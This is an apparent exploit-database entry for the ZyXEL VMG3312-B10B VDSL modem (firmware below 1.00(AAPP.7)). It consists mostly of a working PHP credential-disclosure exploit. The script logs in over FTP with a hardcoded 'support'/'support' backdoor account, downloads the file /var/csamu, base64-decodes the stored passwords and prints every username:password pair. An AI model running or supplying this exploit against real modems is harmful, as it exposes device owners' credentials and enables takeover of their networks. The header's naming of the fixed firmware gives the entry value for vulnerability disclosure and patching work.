ZyXEL VMG3312-B10B < 1.00(AAPP.7) - Credential Disclosure
# Exploit Title: ZyXEL VMG3312-B10B - Leak Credentials < 1.00(AAPP.7) # Date: 2018-10-28 # Exploit Author: numan türle @numanturle # Vendor Homepage: https://www.zyxel.com/ # Software Link: ftp://ftp.zyxel.com.tr/ZyXEL_URUNLERI/MODEMLER/VDSL_MODEMLER/VMG3312-B10B/ # Firmware: 1.00(AAPP.0)D7 # Tested on: windows # Fixed firmware: 1.00(AAPP.7) <?php $ftp_server = "192.168.1.1"; // modem ip address $ftp_conn = ftp_connect($ftp_server) or die("ftp server close"); $login = ftp_login($ftp_conn, "support", "support"); // backdoor $local_file = "crackme"; $server_file = "/var/csamu"; // base64_encode files if (ftp_get($ftp_conn, $local_file, $server_file, FTP_BINARY)) { $open = file($local_file); foreach($open as $u_p){ $bomb = explode(" ",$u_p); $user = $bomb[0]; $pass = base64_decode($bomb[1]); if(!empty($pass)){ echo "{$user}:{$pass}<br>"; }else { continue; } } }else { echo "pfff"; } ftp_close($ftp_conn); ?> |